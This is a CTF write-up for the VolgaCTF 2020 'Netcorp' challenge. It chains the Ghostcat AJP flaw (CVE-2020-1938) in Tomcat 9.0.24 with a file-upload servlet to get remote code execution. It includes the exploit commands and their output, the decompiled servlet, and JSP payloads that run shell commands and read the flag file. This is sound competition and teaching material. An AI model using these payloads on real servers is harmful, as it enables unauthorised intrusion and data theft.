VolgaCTF Quals - Netcorp

Ghostcat with RCE

Task

Another telecom provider. Hope these guys prepared well enough for the network load...

netcorp.q.2020.volgactf.ru

Analysis

The website is just a plain static site without any interesting content. The only action that you can do is click on the Complaint button, but that leads just to a 404 error page.

Using a directory fuzzing tool to check if there is anything of interest not linked to be found, we stumble upon the /docs/ path. It contains a standard public documentation for Apache Tomcat. The content is not interesting, but the site's header, because it contains the details of the software used to host the website:

Apache Tomcat 9, Version 9.0.24, Aug 14 2019

Searching in a vulnerability database, we quickly find that that particular version is vulnerable to CVE 2020-1938, also called Ghostcat. There is even an entry in Expolit-DB for it.

The vulnerability works, beacause an internal management protocol called AJP running on port 8009 is by default exposed to the internet in those versions. A quick check with nmap shows us, that the server is indeed vulnerable. With AJP accessible we can:

  • Download any file from the web application's directory
  • Trigger any file to be interpreted as a JSP

The latter point would lead to a RCE in conjunction with a file upload functionality in the application.

Exploitation

We try the mentioned exploit script on the server, to find that we can indeed download the Tomcat configuration file from the server

$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py netcorp.q.2020.volgactf.ru -f WEB-INF/web.xml

Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/asdf
----------------------------
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>NetCorp</display-name>
  <servlet>
      <servlet-name>ServeScreenshot</servlet-name>
      <display-name>ServeScreenshot</display-name>
      <servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
  </servlet>
  <servlet-mapping>
      <servlet-name>ServeScreenshot</servlet-name>
      <url-pattern>/ServeScreenshot</url-pattern>
  </servlet-mapping>
    <servlet>
        <servlet-name>ServeComplaint</servlet-name>
        <display-name>ServeComplaint</display-name>
        <description>Complaint info</description>
        <servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>ServeComplaint</servlet-name>
        <url-pattern>/ServeComplaint</url-pattern>
    </servlet-mapping>
    <error-page>
        <error-code>404</error-code>
        <location>/404.html</location>
    </error-page>
</web-app>

From that, we lear to new URL paths /ServeComplaint and /ServeScreenshot, which are indeed accessible. We can also guess the filename of the class files and download (we patched the script in order to store binary data in a file instead of printing it to stdout) them using

$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py netcorp.q.2020.volgactf.ru -f WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class
$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py netcorp.q.2020.volgactf.ru -f WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class

A decompiler gives us the source code of the classes. While the ServeComplaintServlet class is of no interest (we already knew that), the other one is:

import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import ru.volgactf.netcorp.ServeScreenshotServlet;

@MultipartConfig
public class ServeScreenshotServlet extends HttpServlet {
  private static final String SAVE_DIR = "uploads";

  public ServeScreenshotServlet() {
    System.out.println("ServeScreenshotServlet Constructor called!");
  }

  public void init(ServletConfig config) throws ServletException {
    System.out.println("ServeScreenshotServlet \"Init\" method called");
  }

  public void destroy() {
    System.out.println("ServeScreenshotServlet \"Destroy\" method called");
  }

  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String appPath = request.getServletContext().getRealPath("");
    String savePath = appPath + "uploads";
    File fileSaveDir = new File(savePath);
    if (!fileSaveDir.exists())
      fileSaveDir.mkdir(); 
    String submut = request.getParameter("submit");
    if (submut == null || !submut.equals("true"));
    for (Part part : request.getParts()) {
      String fileName = extractFileName(part);
      fileName = (new File(fileName)).getName();
      String hashedFileName = generateFileName(fileName);
      String path = savePath + File.separator + hashedFileName;
      if (path.equals("Error"))
        continue; 
      part.write(path);
    } 
    PrintWriter out = response.getWriter();
    response.setContentType("application/json");
    response.setCharacterEncoding("UTF-8");
    out.print(String.format("{'success':'%s'}", new Object[] { "true" }));
    out.flush();
  }

  private String generateFileName(String fileName) {
    try {
      MessageDigest md = MessageDigest.getInstance("MD5");
      md.update(fileName.getBytes());
      byte[] digest = md.digest();
      String s2 = (new BigInteger(1, digest)).toString(16);
      StringBuilder sb = new StringBuilder(32);
      for (int i = 0, count = 32 - s2.length(); i < count; i++)
        sb.append("0"); 
      return sb.append(s2).toString();
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
      return "Error";
    } 
  }

  private String extractFileName(Part part) {
    String contentDisp = part.getHeader("content-disposition");
    String[] items = contentDisp.split(";");
    for (String s : items) {
      if (s.trim().startsWith("filename"))
        return s.substring(s.indexOf("=") + 2, s.length() - 1); 
    } 
    return "";
  }
}

From that source code we learn that:

  • We upload files via a POST request to /ServeScreenshot
  • The uploaded file gets stored in the /uploads folder
  • The filename in the upload folder is going to be the MD5 hash of the orginal filename as a hex string (padded with zeroes at the beginning)

Trying the upload:

$ echo foo > foo.txt
$ http --form http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot file@foo.txt
$ echo -n "foo.txt" | md5sum
4fd8cc85ca9eebd2fa3c550069ce2846  -
$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py netcorp.q.2020.volgactf.ru -f uploads/4fd8cc85ca9eebd2fa3c550069ce2846
...
----------------------------
foo

Unfortunately, if we put some JSP code in the uploaded file, it gets returned verbatim and not rendered. That second part of the vulnerability is not supported by the exploit script we have. Luckily, the article about Ghostcat mentions multiple PoCs to be avilable. Doing a little search engine research we find a Reddit article which links plenty of them, including a promising one. Trying it, we are successful:

$ python2 CVE-2020-1938.py netcorp.q.2020.volgactf.ru -p 8009 -f uploads/4fd8cc85ca9eebd2fa3c550069ce2846 -c 0
Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/fairy
----------------------------
Hello World <% out.println("!!"); %>

$ python2 CVE-2020-1938.py netcorp.q.2020.volgactf.ru -p 8009 -f uploads/4fd8cc85ca9eebd2fa3c550069ce2846 -c 1
Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/index.jsp
----------------------------
Hello World !!

The -c flag of the script can trigger, wether a file is to be rendered as a JSP on the server or not. So we really have RCE capabilities!

First we find out the path we are in with the payload

<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>

<%
  String jsp = request.getRealPath("/uploads/4fd8cc85ca9eebd2fa3c550069ce2846");
  out.println(jsp);
%>

This tells us that the full path of the uploaded file is /opt/tomcat/webapps/ROOT/uploads/4fd8cc85ca9eebd2fa3c550069ce2846

Even better: we can run shell commands:

<%@ page import="java.io.*" %>
<%
  Process p = Runtime.getRuntime().exec("bash -c " + "whoami");
  BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
  String s = null;
  while((s = sI.readLine()) != null) {
    out.println(s);
  }
%>

We now know, that Tomcat is running as the root user.

By running some find commands, we find a file called /opt/tomcat/flag.txt. For some reason, printing it with the shell executor above with cat did not work (execution got blocked), so we had to resort to some java code one last time:

<%@ page import="java.nio.file.*" %>
<%@ page import="java.io.*" %>

<%
  File file = new File("/opt/tomcat/flag.txt");
  for(String line : Files.readAllLines(file.toPath())) {
    out.println(line);
  }
%>

which spits out the flag: VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}


Navigation